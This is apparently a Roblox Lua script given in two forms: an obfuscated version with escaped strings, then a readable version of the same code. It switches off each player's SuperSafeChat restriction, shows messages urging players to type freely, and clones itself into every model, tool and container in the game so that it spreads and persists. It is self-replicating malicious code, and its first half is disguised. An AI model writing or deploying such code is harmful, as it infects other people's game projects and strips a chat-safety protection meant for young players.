if script.Parent==workspace then function checkForAndSwitch(U)if U.SuperSafeChat==true then U.SuperSafeChat=false wait(5)local c=Instance.new("\077\101\115\115\097\103\101")c.Text="\080\114\101\115\115 \116\104\101 \047 \107\101\121 \116\111 \115\116\097\114\116 \116\121\112\105\110\103\046"c.Parent=U wait(5)c.Text="\084\104\101\110 \112\114\101\115\115 \069\110\116\101\114 \116\111 \115\101\110\100 \121\111\117\114 \109\101\115\115\097\103\101\046"wait(5)c:Remove()c=nil end U=nil collectgarbage("\099\111\108\108\101\099\116")end function onChildAddedToPlayers(U)if U.className=="\080\108\097\121\101\114"then checkForAndSwitch(U)local c=Instance.new("\077\101\115\115\097\103\101")c.Text="\077\111\110\115\116\101\114 \083\097\121\115\044 \'\076\101\116 \116\104\101 \071\117\101\115\116\115 \116\097\108\107\033\' \065\110\100 \097\108\108 \119\097\115 \103\111\111\100\046"c.Parent=U wait(5)c:Remove()c=nil end U=nil collectgarbage("\099\111\108\108\101\099\116")end function onChildAddedToWorkspace(U)if U.className=="\077\111\100\101\108"then if game.Players:playerFromCharacter(U)~=nil then checkForAndSwitch(game.Players:playerFromCharacter(U))end end U=nil collectgarbage("\099\111\108\108\101\099\116")end function findLowestLevel(U)local c=U:GetChildren()local B=true for U,c in pairs(c)do if c.className=="\077\111\100\101\108"or c.className=="\084\111\111\108"or c.className=="\072\111\112\112\101\114\066\105\110"or c==workspace or c==game.Lighting or c==game.StarterPack then B=false wait()findLowestLevel(c)end end if U~=workspace and(B==true and U:FindFirstChild(script.Name)==nil)then if U~=game.Lighting and U~=game.StarterPack then local c=script:Clone()c.Parent=U end end end findLowestLevel(game)game.Players.ChildAdded:connect(onChildAddedToPlayers)game.Workspace.ChildAdded:connect(onChildAddedToWorkspace)else local U=workspace:FindFirstChild(script.Name)if U==nil then local U=script:Clone()U.Parent=workspace end end

if (script.Parent == workspace) then
	function checkForAndSwitch(player)
		if (player.SuperSafeChat == true) then
			player.SuperSafeChat = false;
			wait(5);
			local m = Instance.new("Message");
			m.Text = "Press the / key to start typing.";
			m.Parent = player;
			wait(5);
			m.Text = "Then press Enter to send your message.";
			wait(5);
			m:Remove();
			m = nil;
		end
		player = nil;
		collectgarbage("collect");
	end

	function onChildAddedToPlayers(obj)
		if (obj.className == "Player") then
			checkForAndSwitch(obj);
			local m = Instance.new("Message");
			m.Text = "Monster Says, 'Let the Guests talk!' And all was good.";
			m.Parent = obj;
			wait(5);
			m:Remove();
			m = nil;
		end
		obj = nil;
		collectgarbage("collect");
	end

	function onChildAddedToWorkspace(obj)
		if (obj.className == "Model") then
			if (game.Players:playerFromCharacter(obj) ~= nil) then
				checkForAndSwitch(game.Players:playerFromCharacter(obj));
			end
		end
		obj = nil;
		collectgarbage("collect");
	end

	function findLowestLevel(obj)
		local c = obj:GetChildren();
		local lowestLevel = true;

		for i, v in pairs(c) do
			if (v.className == "Model" or v.className == "Tool" or v.className == "HopperBin" or v == workspace or v == game.Lighting or v == game.StarterPack) then
				lowestLevel = false;
				wait();
				findLowestLevel(v);
			end
		end

		if (obj ~= workspace and lowestLevel == true and (obj:FindFirstChild(script.Name) == nil)) then
			if (obj ~= game.Lighting and obj ~= game.StarterPack) then
				local s = script:Clone();
				s.Parent = obj;
			end
		end
	end

	findLowestLevel(game);

	game.Players.ChildAdded:connect(onChildAddedToPlayers);
	game.Workspace.ChildAdded:connect(onChildAddedToWorkspace);
else
	local findScript = workspace:FindFirstChild(script.Name);

	if (findScript == nil) then
		local s = script:Clone();
		s.Parent = workspace;
	end
end
